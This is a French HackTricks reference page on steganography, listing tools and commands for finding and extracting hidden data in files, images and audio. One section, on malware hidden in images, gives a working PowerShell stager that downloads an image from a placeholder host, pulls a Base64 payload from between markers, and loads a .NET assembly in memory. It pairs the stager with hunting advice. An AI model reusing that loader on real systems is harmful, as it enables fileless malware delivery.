Stego Tricks

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Extraction de données à partir de fichiers

Binwalk

Un outil pour rechercher dans les fichiers binaires des fichiers et des données cachés intégrés. Il s'installe via apt et son code source est disponible sur GitHub.

bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data

Foremost

RĂ©cupĂšre des fichiers en se basant sur leurs en-tĂȘtes et leurs pieds de fichier, utile pour les images png. InstallĂ© via apt avec son code source sur GitHub.

bash
foremost -i file # Extracts data

Exiftool

Permet de visualiser les métadonnées des fichiers, disponible here.

bash
exiftool file # Shows the metadata

Exiv2

Similaire à exiftool, pour l'affichage des métadonnées. Installable via apt, code source sur GitHub, et dispose d'un official website.

bash
exiv2 file # Shows the metadata

File

Identifiez le type de fichier que vous traitez.

Strings

Extrait des chaßnes lisibles à partir de fichiers, en utilisant différents paramÚtres d'encodage pour filtrer la sortie.

bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
strings -n 6 file | tail -n 20 # Last 20 strings
strings -e s -n 6 file # 7bit strings
strings -e S -n 6 file # 8bit strings
strings -e l -n 6 file # 16bit strings (little-endian)
strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)

Comparaison (cmp)

Utile pour comparer un fichier modifié avec sa version originale trouvée en ligne.

bash
cmp original.jpg stego.jpg -b -l

Extraction de données cachées dans le texte

Données cachées dans les espaces

Des caractÚres invisibles dans des espaces apparemment vides peuvent dissimuler des informations. Pour extraire ces données, visitez https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder.

Extraction de données depuis des images

Identifier les détails d'une image avec GraphicMagick

GraphicMagick sert Ă  dĂ©terminer les types de fichiers image et Ă  identifier d'Ă©ventuelles corruptions. ExĂ©cutez la commande ci‑dessous pour inspecter une image:

bash
./magick identify -verbose stego.jpg

Pour tenter de réparer une image endommagée, ajouter un commentaire de métadonnées peut aider :

bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg

Steghide pour la dissimulation de données

Steghide facilite la dissimulation de données dans les fichiers JPEG, BMP, WAV, and AU, et peut embarquer et extraire des données chiffrées. L'installation est simple avec apt. Son source code is available on GitHub.

Commandes :

  • steghide info file indique si un fichier contient des donnĂ©es cachĂ©es.
  • steghide extract -sf file [--passphrase password] extrait les donnĂ©es cachĂ©es, mot de passe optionnel.

Pour une extraction en ligne, visitez this website.

Bruteforce Attack with Stegcracker:

  • Pour tenter de password cracking sur Steghide, utilisez stegcracker comme suit :
bash
stegcracker <file> [<wordlist>]

zsteg pour les fichiers PNG et BMP

zsteg est spécialisé dans la découverte de données cachées dans les fichiers PNG et BMP. L'installation se fait via gem install zsteg, et son source on GitHub.

Commands:

  • zsteg -a file applique toutes les mĂ©thodes de dĂ©tection sur un fichier.
  • zsteg -E file spĂ©cifie un payload pour l'extraction de donnĂ©es.

StegoVeritas et Stegsolve

stegoVeritas vérifie les métadonnées, effectue des transformations d'image et applique du brute forcing LSB, entre autres fonctionnalités. Utilisez stegoveritas.py -h pour la liste complÚte des options et stegoveritas.py stego.jpg pour exécuter toutes les vérifications.

Stegsolve applique divers filtres de couleur pour révéler des textes ou messages cachés dans les images. Il est disponible sur GitHub.

FFT pour la détection de contenu caché

Les techniques de Fast Fourier Transform (FFT) peuvent dévoiler du contenu dissimulé dans les images. Ressources utiles :

Stegpy pour les fichiers audio et image

Stegpy permet d'intégrer des informations dans des fichiers image et audio, prenant en charge des formats tels que PNG, BMP, GIF, WebP et WAV. Il est disponible sur GitHub.

Pngcheck pour l'analyse de fichiers PNG

Pour analyser des fichiers PNG ou valider leur authenticité, utilisez :

bash
apt-get install pngcheck
pngcheck stego.png

Outils supplémentaires pour l'analyse d'images

Pour approfondir, consultez :

Payloads Base64 délimités par marqueurs cachés dans des images (malware delivery)

Les commodity loaders dissimulent de plus en plus des payloads encodés en Base64 en tant que texte brut à l'intérieur d'images par ailleurs valides (souvent GIF/PNG). PlutÎt que d'utiliser le LSB au niveau des pixels, le payload est délimité par des chaßnes marqueurs de début/fin uniques intégrées dans le texte/métadonnées du fichier. Un stager PowerShell fait ensuite :

  • TĂ©lĂ©charge l'image via HTTP(S)
  • Localise les chaĂźnes marqueurs (exemples observĂ©s : <<sudo_png>> 
 <<sudo_odt>>)
  • Extrait le texte situĂ© entre les marqueurs et le dĂ©code Base64 en octets
  • Charge l'assembly .NET en mĂ©moire et invoque une mĂ©thode d'entrĂ©e connue (aucun fichier Ă©crit sur le disque)

Extrait PowerShell minimal de carving/loading

powershell
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Remarques

  • Cela relĂšve de ATT&CK T1027.003 (steganography). Les chaĂźnes de marqueurs varient selon les campagnes.
  • Hunting: scanner les images tĂ©lĂ©chargĂ©es Ă  la recherche de dĂ©limiteurs connus ; signaler PowerShell utilisant DownloadString suivi de FromBase64String.

Voir aussi des exemples de livraison de phishing et le flux complet d'invocation en mémoire ici :

Phishing Files & Documents

Extraction de données depuis des fichiers audio

Audio steganography offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour intégrer ou récupérer du contenu caché.

Steghide (JPEG, BMP, WAV, AU)

Steghide est un outil polyvalent conçu pour cacher des données dans des fichiers JPEG, BMP, WAV et AU. Des instructions détaillées sont fournies dans la stego tricks documentation.

Stegpy (PNG, BMP, GIF, WebP, WAV)

Cet outil est compatible avec divers formats, y compris PNG, BMP, GIF, WebP et WAV. Pour plus d'informations, référez-vous à la Stegpy's section.

ffmpeg

ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, afficher des informations détaillées et localiser d'éventuelles anomalies.

bash
ffmpeg -v info -i stego.mp3 -f null -

WavSteg (WAV)

WavSteg excelle à dissimuler et extraire des données dans des fichiers WAV en utilisant la least significant bit strategy. Il est accessible sur GitHub. Les commandes incluent :

bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile

python3 WavSteg.py -r -b 2 -s soundfile -o outputfile

Deepsound

Deepsound permet le chiffrement et la dĂ©tection d'informations dans des fichiers audio en utilisant AES-256. Il peut ĂȘtre tĂ©lĂ©chargĂ© depuis the official page.

Sonic Visualizer

Outil indispensable pour l'inspection visuelle et analytique des fichiers audio, Sonic Visualizer peut révéler des éléments cachés indétectables par d'autres moyens. Visitez le official website pour en savoir plus.

DTMF Tones - Dial Tones

La dĂ©tection des DTMF tones dans des fichiers audio peut ĂȘtre effectuĂ©e via des outils en ligne tels que this DTMF detector et DialABC.

Autres Techniques

Binary Length SQRT - QR Code

Si la longueur des données binaires est un carré parfait, elles peuvent représenter un QR code. Utilisez cet extrait pour vérifier :

python
import math
math.sqrt(2500) #50

Pour la conversion binaire en image, consultez dcode. Pour lire les QR codes, utilisez this online barcode reader.

Traduction du Braille

Pour traduire le Braille, le Branah Braille Translator est une excellente ressource.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks